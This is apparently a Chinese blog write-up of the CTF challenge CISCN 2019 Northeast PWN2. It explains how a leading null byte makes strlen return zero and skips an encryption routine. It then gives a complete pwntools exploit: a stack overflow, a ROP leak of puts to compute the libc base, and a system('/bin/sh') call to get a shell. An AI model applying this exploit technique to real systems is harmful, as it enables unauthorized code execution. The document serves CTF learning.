nssctf刷题总结

首先就是关于"\x00"截断问题,'\x00'被当做字符串的截止字符,这就很有趣了我们可以把\x00放在我们要发送数据的前面,经过\x00截断,后面的数据就不用读入了。。。。。。嘿嘿,好像听起来没什么用,确实我们在一般情况下需要注意这个问题,不能有\x00截断。现在我们要想想如何利用它,用它过检测机制如strlen一类的。当strlen检测字符串长度时检测到\x00就会发生截断,自然绕过了检测,结果就是null即0。

例题:CISCN 2019东北PWN2

开始审计代码:上来就是死循环,fflush清空缓冲区,读入v4是整数,我们看看begin,一点用没有.

只有v4=1的时候 跳出轮回流,进入encrypt函数,然后begin。。。。既然begin函数没有用,那转机就在encrypt函数了

非常好,栈溢出啊,一定要溢出才行哦,不然不能getshell的qwq。看看下面的各种逆天映射,博🐖在第一次看的时候也是头昏眼花,本着小白的可爱,想着完成他的映射,后来实在射不出来,回头看了遍程序突然发现不用射了,可以直接绕过,吆西,管他映射干嘛,我用的可是溢出啊。

直接\x00不让strlen开始射前准备,打断施法。这样v0肯定大于strlen(s)直接break,吆西。

exp:

复制代码
from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):
    p.send(a)
def sla(a,b):
    p.sendlineafter(a,b)
def sl(a):
    p.sendline(a)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./CISCN2019')
elf=ELF('./CISCN2019')
rdi=0x0000000000400c83
libc=ELF("libc6_2.27-0ubuntu3_amd64.so")
sla("choice!",b'1')
payload=b'\x00'+b'a'*(0x57)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009a0)
sla("Input your Plaintext to be encrypted",payload)
puts=get_addr()
print(hex(puts))
addr=puts-libc.sym['puts']
print(hex(addr))
sh=addr+next(libc.search(b'/bin/sh\x00'))
system=addr+libc.sym['system']
pay1=b'\x00'+b'a'*(0x57)+p64(rdi)+p64(sh)+p64(rdi+1)+p64(system)
sla('Input your Plaintext to be encrypted',pay1)
inter()
相关推荐
传奇开心果编程12 小时前
【Rust入门知识点学与练】第21课:Trait 进阶 Advanced Traits
开发语言·学习·rust
青 春 记 忆12 小时前
零基础入门python70:Docker Compose 编排完整后端
python·后端开发
新时代牛马12 小时前
字符设备驱动完整篇:从 cdev_add、file_operations 到chrdev_open 与排障
开发语言·python
swordbob12 小时前
ReentrantLock 与 AQS 完整学习手册
java·开发语言
白山编程大哥13 小时前
Java OutputStreamWriter 详解:从字符到字节的桥梁
java·开发语言·python
落羽的落羽14 小时前
【AI】快速理解AI应用的相关名词概念
linux·c++·人工智能·python·计算机网络·算法
Chasing__Dreams14 小时前
大模型应用开发--13--RAG 查询优化策略
python
shmily麻瓜小菜鸡14 小时前
JavaScript / TypeScript 易踩坑知识点 —— 异步编程类
开发语言·javascript·typescript
“AI国潮设计-小江”14 小时前
《Python实战 | SDXL大模型批量生成“英歌舞海浪”蛋糕IP,附核心Prompt控制代码与IP授权变现思路》
人工智能·python·prompt·aigc
七夜zippoe14 小时前
为什么 2026 年每个 Java 团队都该懂 AI Agent
java·开发语言·人工智能